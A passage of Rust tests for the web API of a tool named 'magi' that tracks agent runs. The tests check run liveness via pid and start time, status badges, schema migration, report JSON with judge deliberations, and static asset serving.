18650            empty: false,
18651        });
18652        write_state(&f.runs(), &none_run);
18653
18654        let mut pr_run = RunState::new(
18655            PathBuf::from("/repo/magi"),
18656            "main".to_owned(),
18657            "0123456789abcdef".to_owned(),
18658            "Add a web UI".to_owned(),
18659            Config::default(),
18660        );
18661        pr_run.id = "20260902-140504-prcl".to_owned();
18662        pr_run.status = RunStatus::Ready;
18663        pr_run.merge = Some(crate::run::MergeOutcome {
18664            mode: crate::config::MergeMode::Pr,
18665            ok: false,
18666            detail: "https://example.com/pr/1 was closed without merging".to_owned(),
18667            empty: false,
18668        });
18669        write_state(&f.runs(), &pr_run);
18670
18671        let summary = f.get("/api/runs").await.json();
18672        let rows: std::collections::HashMap<&str, &Value> = summary
18673            .as_array()
18674            .expect("an array")
18675            .iter()
18676            .map(|r| (r["id"].as_str().expect("an id"), r))
18677            .collect();
18678        assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
18679        assert_eq!(
18680            rows[none_run.id.as_str()]["unmerged_by_design"],
18681            true,
18682            "a mode-none Ready must be flagged in the list"
18683        );
18684        assert_eq!(
18685            rows[pr_run.id.as_str()]["unmerged_by_design"],
18686            false,
18687            "a Ready reached by a closed pull request is a different case"
18688        );
18689
18690        let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
18691        assert_eq!(none_detail["status"], "ready");
18692        assert_eq!(none_detail["unmerged_by_design"], true);
18693
18694        let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
18695        assert_eq!(pr_detail["unmerged_by_design"], false);
18696    }
18697
18698    /// `RunState::active` is only ever cleared by whoever populated it, so the
18699    /// detail route also has to say whether a daemon is actually still
18700    /// driving this run right now — otherwise a seat from a killed process's
18701    /// last wave would read as live forever.
18702    #[tokio::test]
18703    async fn run_core_survives_unavailable_related_stores() {
18704        let home = TempDir::new().unwrap();
18705        let ui = delta_test_ui(home.path());
18706        let state = RunState::new(
18707            PathBuf::from("/repo/magi"),
18708            "main".into(),
18709            "0123456789abcdef".into(),
18710            "Useful core instructions".into(),
18711            Config::default(),
18712        );
18713        let dir = ui.runs.join(&state.id);
18714        std::fs::create_dir_all(&dir).unwrap();
18715        std::fs::write(dir.join("run.json"), serde_json::to_vec(&state).unwrap()).unwrap();
18716        std::fs::write(ui.questions.root(), "unavailable").unwrap();
18717        std::fs::write(ui.queue.root(), "unavailable").unwrap();
18718        let core = run_core(State(ui.clone()), Path(state.id.clone()))
18719            .await
18720            .unwrap()
18721            .0;
18722        assert_eq!(core.state.instruction, state.instruction);
18723        assert_eq!(core.state.updated_at, state.updated_at);
18724        assert!(core.task.is_none());
18725        assert!(run_detail(State(ui), Path(state.id)).await.is_err());
18726    }
18727
18728    #[tokio::test]
18729    async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
18730        let f = Fixture::start().await;
18731        // Matches `write_daemon`'s hard-coded `current.run`, so the second
18732        // half of this test can claim the daemon is working on it without a
18733        // second helper.
18734        let id = "20260902-140502-bbbb";
18735        let mut state = RunState::new(
18736            PathBuf::from("/repo/magi"),
18737            "main".to_owned(),
18738            "0123456789abcdef".to_owned(),
18739            "Add a web UI".to_owned(),
18740            Config::default(),
18741        );
18742        state.id = id.to_owned();
18743        state.status = RunStatus::Judging;
18744        state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
18745        let dir = f.runs().join(id);
18746        std::fs::create_dir_all(&dir).expect("run dir");
18747        std::fs::write(
18748            dir.join("run.json"),
18749            serde_json::to_string_pretty(&state).expect("serialize run"),
18750        )
18751        .expect("write run.json");
18752
18753        // No daemon.json at all, and no `driver_pid` recorded either (this
18754        // state was written directly, never through `execute()`): there is
18755        // nothing to confirm either way, so the route must say `"unknown"` —
18756        // never `"dead"`, which is exactly the false diagnosis a manual `magi
18757        // run` used to get from this route before `driver_pid` existed.
18758        let cold = f.get(&format!("/api/runs/{id}")).await.json();
18759        assert_eq!(cold["active"]["judge-2"]["node"], "judge");
18760        assert_eq!(cold["live"], "unknown", "{cold}");
18761
18762        // A fresh heartbeat naming exactly this run: the same entry now reads
18763        // as confirmed, not merely recorded.
18764        write_daemon(f.home.path(), Timestamp::now());
18765        let warm = f.get(&format!("/api/runs/{id}")).await.json();
18766        assert_eq!(warm["live"], "live", "{warm}");
18767    }
18768
18769    #[test]
18770    fn schema_thirteen_loads_through_cli_and_web_without_rewriting() {
18771        let home = tempfile::tempdir().expect("temp home");
18772        let runs = home.path().join("runs");
18773        for origin in [None, Some(crate::run::Origin::queue("legacy-task"))] {
18774            let mut state = RunState::new(
18775                PathBuf::from("/repo/magi"),
18776                "main".to_owned(),
18777                "0123456789abcdef".to_owned(),
18778                "Generated review context, not authored task criteria".to_owned(),
18779                Config::default(),
18780            );
18781            state.origin = origin;
18782            state.status = RunStatus::Blocked;
18783            // Earlier migrations must not infer these facts again.
18784            state.driver_exited = false;
18785            state.gate_ran = true;
18786            let expected = serde_json::to_value(&state).expect("serialize current state");
18787            let mut legacy = expected.clone();
18788            legacy["schema"] = serde_json::json!(13);
18789            legacy.as_object_mut().unwrap().remove("task_instruction");
18790            let dir = runs.join(&state.id);
18791            std::fs::create_dir_all(&dir).expect("run dir");
18792            let path = dir.join("run.json");
18793            let body = serde_json::to_vec_pretty(&legacy).expect("serialize legacy state");
18794            std::fs::write(&path, &body).expect("write legacy run");
18795
18796            for loaded in [
18797                RunState::load_under(&state.id, home.path()).expect("CLI migration"),
18798                read_run(&runs, &state.id).expect("web migration"),
18799            ] {
18800                assert_eq!(loaded.schema, crate::run::SCHEMA);
18801                assert!(loaded.task_instruction.is_none());
18802                assert_eq!(serde_json::to_value(loaded).unwrap(), expected);
18803            }
18804            assert_eq!(runs_unreadable(&runs), 0);
18805            assert_eq!(std::fs::read(&path).unwrap(), body);
18806        }
18807    }
18808
18809    /// Where a run came from is shown, and a run written before origins were
18810    /// recorded (schema 12, no `origin` key) stays readable and says so.
18811    #[tokio::test]
18812    async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
18813        let f = Fixture::start().await;
18814        let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
18815            let mut state = RunState::new(
18816                PathBuf::from("/repo/magi"),
18817                "main".to_owned(),
18818                "0123456789abcdef".to_owned(),
18819                "Add a web UI".to_owned(),
18820                Config::default(),
18821            );
18822            state.id = id.to_owned();
18823            state.origin = origin;
18824            let mut value = serde_json::to_value(&state).expect("serialize run");
18825            if let Some(schema) = schema {
18826                value["schema"] = serde_json::json!(schema);
18827                value.as_object_mut().unwrap().remove("origin");
18828            }
18829            let dir = f.runs().join(id);
18830            std::fs::create_dir_all(&dir).expect("run dir");
18831            std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
18832        };
18833        write(
18834            "20260930-092817-ec34",
18835            Some(crate::run::Origin::from_agent_env(
18836                Some(("4a7b".to_owned(), "chat".to_owned())),
18837                None,
18838            )),
18839            None,
18840        );
18841        write("20260930-092817-0ld1", None, Some(12));
18842
18843        let new = f.get("/api/runs/20260930-092817-ec34").await.json();
18844        assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
18845        assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
18846
18847        let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
18848        assert_eq!(
18849            old["origin_label"], "origin unknown (started before origins were recorded)",
18850            "{old}"
18851        );
18852        assert!(old["origin"].is_null(), "{old}");
18853
18854        let list = f.get("/api/runs").await.json();
18855        let labels: Vec<_> = list
18856            .as_array()
18857            .unwrap()
18858            .iter()
18859            .map(|r| r["origin_label"].as_str().unwrap().to_owned())
18860            .collect();
18861        assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
18862    }
18863
18864    /// The gap `driver_pid` exists to close: a manual `magi run` / `magi
18865    /// review` claims no daemon at all, so before this field existed the
18866    /// route above read it as `"dead"` — indistinguishable from a run a
18867    /// killed process abandoned — the whole time it was genuinely still
18868    /// answering. With a live pid recorded, it must read `"live"` even
18869    /// though no daemon claims it.
18870    #[tokio::test]
18871    async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
18872        let f = Fixture::start().await;
18873        let id = "20260922-090000-cccc";
18874        let mut state = RunState::new(
18875            PathBuf::from("/repo/magi"),
18876            "main".to_owned(),
18877            "0123456789abcdef".to_owned(),
18878            "Review only".to_owned(),
18879            Config::default(),
18880        );
18881        state.id = id.to_owned();
18882        state.status = RunStatus::Reviewing;
18883        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
18884        // This test process's own pid: guaranteed alive, and never needs a
18885        // real daemon or a second process to prove it. The matching start-time
18886        // marker is what `liveness` now requires alongside a live pid — see
18887        // `RunState::driver_started_at`'s own doc for why the pid alone is
18888        // not enough.
18889        state.driver_pid = Some(std::process::id());
18890        state.driver_started_at = Some(
18891            crate::proc::process_started_at(std::process::id())
18892                .expect("this test process's own start time must be queryable"),
18893        );
18894        let dir = f.runs().join(id);
18895        std::fs::create_dir_all(&dir).expect("run dir");
18896        std::fs::write(
18897            dir.join("run.json"),
18898            serde_json::to_string_pretty(&state).expect("serialize run"),
18899        )
18900        .expect("write run.json");
18901
18902        let detail = f.get(&format!("/api/runs/{id}")).await.json();
18903        assert_eq!(detail["live"], "live", "{detail}");
18904    }
18905
18906    /// A killed manual run's pid can be handed to a wholly unrelated later
18907    /// process — a live query on `driver_pid` alone would read this as
18908    /// `"live"`, exactly the false positive `driver_started_at` exists to
18909    /// catch (see that field's own doc, and `RunState::liveness_with`'s
18910    /// pid-reuse test). The route must read it as `"dead"`, not `"live"`.
18911    #[tokio::test]
18912    async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
18913        let f = Fixture::start().await;
18914        let id = "20260922-090100-dddd";
18915        let mut state = RunState::new(
18916            PathBuf::from("/repo/magi"),
18917            "main".to_owned(),
18918            "0123456789abcdef".to_owned(),
18919            "Review only".to_owned(),
18920            Config::default(),
18921        );
18922        state.id = id.to_owned();
18923        state.status = RunStatus::Reviewing;
18924        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
18925        // This test process's own pid really is alive, but the marker
18926        // recorded here does not match what it actually started at —
18927        // standing in for the pid having since been reused by a different
18928        // process than the one that wrote `run.json`.
18929        state.driver_pid = Some(std::process::id());
18930        state.driver_started_at = Some("1".to_owned());
18931        let dir = f.runs().join(id);
18932        std::fs::create_dir_all(&dir).expect("run dir");
18933        std::fs::write(
18934            dir.join("run.json"),
18935            serde_json::to_string_pretty(&state).expect("serialize run"),
18936        )
18937        .expect("write run.json");
18938
18939        let detail = f.get(&format!("/api/runs/{id}")).await.json();
18940        assert_eq!(detail["live"], "dead", "{detail}");
18941    }
18942
18943    /// The deck's competition list is normally the first place an operator
18944    /// sees an old run. It must carry the same process verdict as detail, or
18945    /// its `reviewing` chip keeps falsely advertising a dead run as in flight.
18946    #[test]
18947    fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
18948        let mk = |id: &str, pid: Option<u32>| {
18949            let mut s = RunState::new(
18950                PathBuf::from("/repo/magi"),
18951                "main".to_owned(),
18952                "0123456789abcdef".to_owned(),
18953                "Add a web UI".to_owned(),
18954                Config::default(),
18955            );
18956            s.id = id.to_owned();
18957            s.driver_pid = pid;
18958            s.driver_started_at = Some("1790000000".to_owned());
18959            s
18960        };
18961        let states = vec![
18962            mk("20260902-140502-aaaa", Some(77)),
18963            mk("20260902-140502-bbbb", Some(77)),
18964            mk("20260902-140502-cccc", Some(77)),
18965            mk("20260902-140502-dddd", None),
18966        ];
18967        let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
18968        let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
18969        let sup: HashMap<String, String> = [(
18970            "20260902-140502-aaaa".to_owned(),
18971            "20260902-140502-cccc".to_owned(),
18972        )]
18973        .into();
18974
18975        let status_calls = std::cell::Cell::new(0);
18976        let identity_calls = std::cell::Cell::new(0);
18977        let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
18978            |_| {
18979                status_calls.set(status_calls.get() + 1);
18980                Some(true)
18981            },
18982            |_| {
18983                identity_calls.set(identity_calls.get() + 1);
18984                Some("1790000000".to_owned())
18985            },
18986        ));
18987        let rows = summarize(
18988            states,
18989            &open,
18990            &claimed,
18991            &sup,
18992            |p| probe.borrow_mut().status(p),
18993            |p| probe.borrow_mut().started_at(p),
18994        );
18995
18996        assert_eq!(status_calls.get(), 1, "one pid, one status query");
18997        assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
18998        assert_eq!(rows.len(), 4);
18999        assert!(!rows[0].waiting && rows[1].waiting);
19000        assert_eq!(rows[0].live, crate::run::Liveness::Live);
19001        assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
19002        assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
19003        assert_eq!(rows[1].superseded_by, None);
19004    }
19005
19006    #[test]
19007    fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
19008        let mut state = RunState::new(
19009            PathBuf::from("/repo/magi"),
19010            "main".to_owned(),
19011            "0123456789abcdef".to_owned(),
19012            "Review only".to_owned(),
19013            Config::default(),
19014        );
19015        state.id = "20260922-090200-dead".to_owned();
19016        state.status = RunStatus::Reviewing;
19017        let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
19018            .expect("serialize list row");
19019        assert_eq!(row["status"], "reviewing");
19020        assert_eq!(row["display_status"], "stale");
19021        assert_eq!(row["live"], "dead", "{row}");
19022        assert!(!row["done"].as_bool().unwrap());
19023    }
19024
19025    #[test]
19026    fn run_display_status_distinguishes_park_crash_and_owner_wait() {
19027        use crate::run::Liveness::{Dead, Live, Unknown};
19028        let mut state = RunState::new(
19029            PathBuf::from("/repo/magi"),
19030            "main".to_owned(),
19031            "abc".to_owned(),
19032            "Review only".to_owned(),
19033            Config::default(),
19034        );
19035        for (status, parked, node, waiting, live, expected) in [
19036            (
19037                RunStatus::Judging,
19038                true,
19039                "github-text",
19040                false,
19041                Dead,
19042                "parked",
19043            ),
19044            (RunStatus::Judging, false, "park", false, Dead, "stale"),
19045            (RunStatus::Judging, false, "judge", false, Dead, "stale"),
19046            (
19047                RunStatus::Judging,
19048                true,
19049                "github-text",
19050                true,
19051                Dead,
19052                "waiting",
19053            ),
19054            (
19055                RunStatus::Judging,
19056                false,
19057                "github-text",
19058                true,
19059                Dead,
19060                "waiting",
19061            ),
19062            (
19063                RunStatus::Judging,
19064                false,
19065                "github-text",
19066                false,
19067                Dead,
19068                "stale",
19069            ),
19070            (RunStatus::Judging, false, "resume", false, Dead, "stale"),
19071            (RunStatus::Judging, true, "park", false, Live, "judging"),
19072            (RunStatus::Judging, true, "park", false, Unknown, "judging"),
19073            (RunStatus::Merged, true, "park", false, Dead, "merged"),
19074            (RunStatus::Blocked, true, "park", false, Dead, "blocked"),
19075            (
19076                RunStatus::Blocked,
19077                true,
19078                "github-text",
19079                true,
19080                Dead,
19081                "waiting",
19082            ),
19083        ] {
19084            state.status = status;
19085            state.parked = parked;
19086            state.events.clear();
19087            state.event(
19088                "park",
19089                "an earlier park does not determine the latest state",
19090            );
19091            state.event(node, "message is not used for classification");
19092            let summary = RunSummary::of(&state, waiting, live);
19093            let detail = RunDetailView::of(state.clone(), waiting, live, None, None, None);
19094            assert_eq!(
19095                summary.display_status, expected,
19096                "{status:?}/{node}/{live:?}"
19097            );
19098            assert_eq!(detail.display_status, summary.display_status);
19099            assert_eq!(detail.waiting, summary.waiting);
19100        }
19101        state.status = RunStatus::Judging;
19102        state.parked = false;
19103        state.events.clear();
19104        assert_eq!(run_display_status(&state, false, Dead), "stale");
19105    }
19106
19107    #[test]
19108    fn badge_status_prefers_superseded_then_stale_and_spares_live_and_terminal() {
19109        use crate::run::Liveness::{Dead, Live, Unknown};
19110        let mut state = RunState::new(
19111            PathBuf::from("/repo/magi"),
19112            "main".to_owned(),
19113            "abc".to_owned(),
19114            "Badge".to_owned(),
19115            Config::default(),
19116        );
19117        for (status, waiting, live, superseded, expected) in [
19118            (RunStatus::Gating, false, Dead, false, "stale"),
19119            (RunStatus::Gating, false, Dead, true, "superseded"),
19120            (RunStatus::Gating, false, Unknown, true, "superseded"),
19121            (RunStatus::Gating, true, Dead, true, "superseded"),
19122            (RunStatus::Gating, true, Dead, false, "waiting"),
19123            (RunStatus::Gating, false, Unknown, false, "gating"),
19124            (RunStatus::Gating, false, Live, true, "gating"),
19125            (RunStatus::Gating, true, Live, true, "waiting"),
19126            (RunStatus::Merged, false, Dead, true, "merged"),
19127            (RunStatus::Blocked, false, Dead, true, "blocked"),
19128        ] {
19129            state.status = status;
19130            let display = run_display_status(&state, waiting, live);
19131            assert_eq!(
19132                run_badge_status(&state, &display, live, superseded),
19133                expected,
19134                "{status:?}/{live:?}/superseded={superseded}"
19135            );
19136        }
19137    }
19138
19139    #[test]
19140    fn summarize_and_detail_expose_badge_status() {
19141        use crate::run::Liveness::Dead;
19142        let mut state = RunState::new(
19143            PathBuf::from("/repo/magi"),
19144            "main".to_owned(),
19145            "abc".to_owned(),
19146            "Badge".to_owned(),
19147            Config::default(),
19148        );
19149        state.status = RunStatus::Gating;
19150        let none = HashSet::new();
19151        let id = state.id.clone();
19152        let mut by = HashMap::new();
19153        let rows = summarize(
19154            [state.clone()],
19155            &none,
19156            &none,
19157            &by,
19158            |_| Some(false),
19159            |_| None,
19160        );
19161        // No driver recorded: liveness is not provably dead, so the node stays.
19162        assert_eq!(rows[0].badge_status, rows[0].display_status);
19163        by.insert(id, "20260901-000000-913b".to_owned());
19164        let detail = RunDetailView::of(
19165            state.clone(),
19166            false,
19167            Dead,
19168            Some("913b".to_owned()),
19169            None,
19170            None,
19171        );
19172        assert_eq!(detail.badge_status, "superseded");
19173        let json = serde_json::to_value(&detail).unwrap();
19174        assert_eq!(json["badge_status"], "superseded");
19175        let detail = RunDetailView::of(state, false, Dead, None, None, None);
19176        assert_eq!(detail.badge_status, "stale");
19177    }
19178
19179    #[tokio::test]
19180    async fn run_display_status_routes_share_the_open_question_store() {
19181        let f = Fixture::start().await;
19182        let id = "20260922-090200-abcd";
19183        write_run(&f.runs(), id, RunStatus::Judging);
19184        let mut state = read_run(&f.runs(), id).unwrap();
19185        state.parked = true;
19186        state.driver_exited = true;
19187        state.event("github-text", "waiting for the owner");
19188        state.save_under(f.home.path()).unwrap();
19189        let mut task = Task::new(
19190            "resumed task".to_owned(),
19191            "do it".to_owned(),
19192            PathBuf::from("/repo"),
19193            Source::Human,
19194        );
19195        task.runs = vec![id.to_owned(), id.to_owned()];
19196        f.queue().put(&mut task).unwrap();
19197        let store = f.questions();
19198        let mut q = Question::new(
19199            id.to_owned(),
19200            "github-text".to_owned(),
19201            "owner".to_owned(),
19202            "Approve the text?".to_owned(),
19203            String::new(),
19204            Vec::new(),
19205        );
19206        store.put(&mut q).unwrap();
19207        for expected in ["waiting", "parked"] {
19208            let list = f.get("/api/runs").await.json();
19209            let detail = f.get(&format!("/api/runs/{id}")).await.json();
19210            assert_eq!(list[0]["display_status"], expected);
19211            assert_eq!(detail["display_status"], expected);
19212            assert_eq!(detail["waiting"], list[0]["waiting"]);
19213            assert_eq!(list[0]["badge_status"], expected);
19214            assert_eq!(detail["badge_status"], expected);
19215            assert!(list[0]["superseded_by"].is_null());
19216            assert!(detail["superseded_by"].is_null());
19217            let task_detail = f.get(&format!("/api/queue/{}", task.id)).await.json();
19218            let history = task_detail["history"].as_array().unwrap();
19219            assert_eq!(history.len(), 2);
19220            assert!(history[0]["badge"].is_null());
19221            assert_eq!(history[1]["badge"], expected);
19222            q.status = ask::QuestionStatus::Answered;
19223            store.put(&mut q).unwrap();
19224        }
19225    }
19226
19227    #[tokio::test]
19228    async fn a_resumed_crashed_driver_is_stale_despite_its_last_park_event() {
19229        let f = Fixture::start().await;
19230        let id = "20260922-090200-abcd";
19231        write_run(&f.runs(), id, RunStatus::Judging);
19232        let mut state = read_run(&f.runs(), id).unwrap();
19233        state.parked = true;
19234        state.driver_exited = true;
19235        state.event("park", "stopped at a node boundary");
19236        state.save_under(f.home.path()).unwrap();
19237
19238        for expected in ["parked", "stale"] {
19239            let list = f.get("/api/runs").await.json();
19240            let detail = f.get(&format!("/api/runs/{id}")).await.json();
19241            assert_eq!(list[0]["live"], "dead");
19242            assert_eq!(list[0]["display_status"], expected);
19243            assert_eq!(detail["display_status"], expected);
19244            // Model a driver claim followed by a crash before the next event:
19245            // the persisted flag changes, but the last event is still park.
19246            state.parked = false;
19247            state.save_under(f.home.path()).unwrap();
19248        }
19249    }
19250
19251    #[tokio::test]
19252    async fn the_run_list_is_newest_first_and_honours_a_limit() {
19253        let f = Fixture::start().await;
19254        for id in [
19255            "20260902-140501-aaaa",
19256            "20260902-140502-bbbb",
19257            "20260902-140503-cccc",
19258        ] {
19259            write_run(&f.runs(), id, RunStatus::Merged);
19260        }
19261
19262        let all = f.get("/api/runs").await.json();
19263        let capped = f.get("/api/runs?limit=2").await.json();
19264
19265        assert_eq!(all[0]["id"], "20260902-140503-cccc");
19266        assert_eq!(all.as_array().map(Vec::len), Some(3));
19267        assert_eq!(capped.as_array().map(Vec::len), Some(2));
19268        assert_eq!(capped[0]["id"], "20260902-140503-cccc");
19269    }
19270
19271    #[tokio::test]
19272    async fn the_report_route_serves_the_terminal_report_as_plain_text() {
19273        let f = Fixture::start().await;
19274        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
19275
19276        let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
19277
19278        assert_eq!(res.status, 200);
19279        assert!(
19280            res.headers
19281                .contains("content-type: text/plain; charset=utf-8"),
19282            "a browser must render it, not download it: {}",
19283            res.headers
19284        );
19285        // The assertion is on content, not on the absence of escapes: colour
19286        // is a process-global that `serve` turns off at startup, and another
19287        // test in this binary may own it while this one runs.
19288        assert!(
19289            res.body.contains("20260902-140501-a1b2"),
19290            "the report is about the run that was asked for: {}",
19291            res.body
19292        );
19293    }
19294
19295    #[tokio::test]
19296    async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
19297        // The view names the run's state directory, which reads the process-global home.
19298        crate::run::pin_test_home();
19299        let f = Fixture::start().await;
19300        let id = "20260902-140501-a1b2";
19301        write_run(&f.runs(), id, RunStatus::Stalled);
19302        // A stalled panel and one review round, written through the real
19303        // state file so the route reads what a run really leaves behind.
19304        let path = f.runs().join(id).join("run.json");
19305        let mut v: serde_json::Value =
19306            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
19307        v["tally"] = serde_json::json!({
19308            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
19309            "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
19310            "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
19311            "met_quorum": false, "rankings": 1
19312        });
19313        v["reviews"] = serde_json::json!([{
19314            "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
19315            "e2e_deferred": true,
19316            "reviews": [{"reviewer": 1, "agent": "a", "findings": [
19317                {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
19318            ]}]
19319        }]);
19320        std::fs::write(&path, v.to_string()).unwrap();
19321        write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
19322        std::fs::write(
19323            f.runs().join("20260902-140502-dead").join("run.json"),
19324            "{not json",
19325        )
19326        .unwrap();
19327
19328        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
19329
19330        assert_eq!(res.status, 200, "{}", res.body);
19331        assert!(res.headers.contains("content-type: application/json"));
19332        let j = res.json();
19333        assert_eq!(j["schema"], 1);
19334        assert_eq!(j["header"]["id"], id);
19335        assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
19336        let kinds: Vec<&str> = j["sections"]
19337            .as_array()
19338            .unwrap()
19339            .iter()
19340            .map(|s| s["kind"].as_str().unwrap())
19341            .collect();
19342        assert_eq!(kinds, ["candidates", "tally", "review"]);
19343        let tally = &j["sections"][1]["tally"];
19344        assert_eq!(
19345            (tally["decided"].clone(), tally["provisional"].clone()),
19346            (false.into(), true.into())
19347        );
19348        let round = &j["sections"][2]["rounds"][0];
19349        assert_eq!(round["e2e"]["state"], "deferred");
19350        assert_eq!(round["findings"][0]["severity"], "major");
19351        assert_eq!(round["findings"][0]["blocking"], true);
19352        assert_eq!(round["findings"][0]["state"], "open");
19353
19354        // The raw route keeps working beside it.
19355        assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
19356
19357        // An unreadable run is an error, as on the text route, and is counted.
19358        let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
19359        assert_ne!(bad.status, 200, "{}", bad.body);
19360        assert_eq!(
19361            bad.status,
19362            f.get("/api/runs/20260902-140502-dead/report").await.status
19363        );
19364        assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
19365        assert_eq!(
19366            f.get("/api/runs/20260902-999999-ffff/report.json")
19367                .await
19368                .status,
19369            404
19370        );
19371    }
19372
19373    #[tokio::test]
19374    async fn the_report_json_route_serves_deliberation_turns_with_markdown_bodies() {
19375        crate::run::pin_test_home();
19376        let f = Fixture::start().await;
19377        let id = "20260902-140503-delib";
19378        write_run(&f.runs(), id, RunStatus::Merged);
19379        let path = f.runs().join(id).join("run.json");
19380        let mut v: serde_json::Value =
19381            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
19382        v["judgements"] = serde_json::json!([
19383            {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
19384        ]);
19385        v["tally"] = serde_json::json!({
19386            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
19387            "unanimous_initial": false, "deliberated": true, "changed_votes": 0,
19388            "unanimous_final": true, "judges": 1, "present": 1, "quorum": 1,
19389            "met_quorum": true, "rankings": 1
19390        });
19391        v["deliberation"] = serde_json::json!([
19392            {
19393                "round": 1,
19394                "turns": [
19395                    {
19396                        "judge": 1,
19397                        "agent": "judge-1",
19398                        "body": "I prefer candidate **A** because it has cleaner tests.",
19399                        "tentative": "A"
19400                    }
19401                ]
19402            },
19403            {
19404                "round": 2,
19405                "turns": [
19406                    {
19407                        "judge": 1,
19408                        "agent": "judge-1",
19409                        "body": "Still thinking, no choice yet.",
19410                        "tentative": null
19411                    }
19412                ]
19413            }
19414        ]);
19415        std::fs::write(&path, v.to_string()).unwrap();
19416
19417        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
19418        assert_eq!(res.status, 200, "{}", res.body);
19419        let j = res.json();
19420        let judging = j["sections"]
19421            .as_array()
19422            .unwrap()
19423            .iter()
19424            .find(|s| s["kind"] == "judging")
19425            .expect("judging section exists");
19426
19427        // Existing summary lines remain intact
19428        let delib_lines = judging["deliberation"].as_array().unwrap();
19429        assert_eq!(delib_lines.len(), 2);
19430        assert_eq!(delib_lines[0], "r1 judge 1 -> A");
19431        assert_eq!(delib_lines[1], "r2 judge 1 -> -");
19432
19433        // rounds carry turn bodies, tentative and parsed body_md
19434        let rounds = judging["rounds"].as_array().unwrap();
19435        assert_eq!(rounds.len(), 2);
19436        let r1_t0 = &rounds[0]["turns"][0];
19437        assert_eq!(r1_t0["judge"], 1);
19438        assert_eq!(r1_t0["agent"], "judge-1");
19439        assert_eq!(r1_t0["tentative"], "A");
19440        assert_eq!(
19441            r1_t0["body"],
19442            "I prefer candidate **A** because it has cleaner tests."
19443        );
19444        assert!(!r1_t0["body_md"].as_array().unwrap().is_empty());
19445
19446        let r2_t0 = &rounds[1]["turns"][0];
19447        assert_eq!(r2_t0["judge"], 1);
19448        assert_eq!(r2_t0["agent"], "judge-1");
19449        assert!(r2_t0["tentative"].is_null());
19450        assert_eq!(r2_t0["body"], "Still thinking, no choice yet.");
19451        assert!(!r2_t0["body_md"].as_array().unwrap().is_empty());
19452
19453        // A run with empty deliberation array yields empty rounds
19454        let id_empty = "20260902-140504-nodelib";
19455        write_run(&f.runs(), id_empty, RunStatus::Merged);
19456        let path_empty = f.runs().join(id_empty).join("run.json");
19457        let mut v_empty: serde_json::Value =
19458            serde_json::from_str(&std::fs::read_to_string(&path_empty).unwrap()).unwrap();
19459        v_empty["judgements"] = serde_json::json!([
19460            {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
19461        ]);
19462        v_empty["deliberation"] = serde_json::json!([]);
19463        std::fs::write(&path_empty, v_empty.to_string()).unwrap();
19464
19465        let res_empty = f.get(&format!("/api/runs/{id_empty}/report.json")).await;
19466        assert_eq!(res_empty.status, 200, "{}", res_empty.body);
19467        let j_empty = res_empty.json();
19468        let judging_empty = j_empty["sections"]
19469            .as_array()
19470            .unwrap()
19471            .iter()
19472            .find(|s| s["kind"] == "judging")
19473            .expect("judging section exists");
19474        assert_eq!(judging_empty["rounds"].as_array().unwrap().len(), 0);
19475    }
19476
19477    #[tokio::test]
19478    async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
19479        let f = Fixture::start().await;
19480
19481        let html = f.get("/").await;
19482        let css = f.get("/app.css").await;
19483        let js = f.get("/app.js").await;
19484
19485        assert_eq!((html.status, css.status, js.status), (200, 200, 200));
19486        assert!(
19487            html.headers
19488                .contains("content-type: text/html; charset=utf-8")
19489        );
19490        assert!(css.headers.contains("content-type: text/css"));
19491        assert!(js.headers.contains("content-type: text/javascript"));
19492        assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
19493    }
19494
19495    #[test]
19496    fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
19497        let body = |name: &str| {
19498            let at = APP_JS
19499                .find(name)
19500                .unwrap_or_else(|| panic!("{name} missing"));
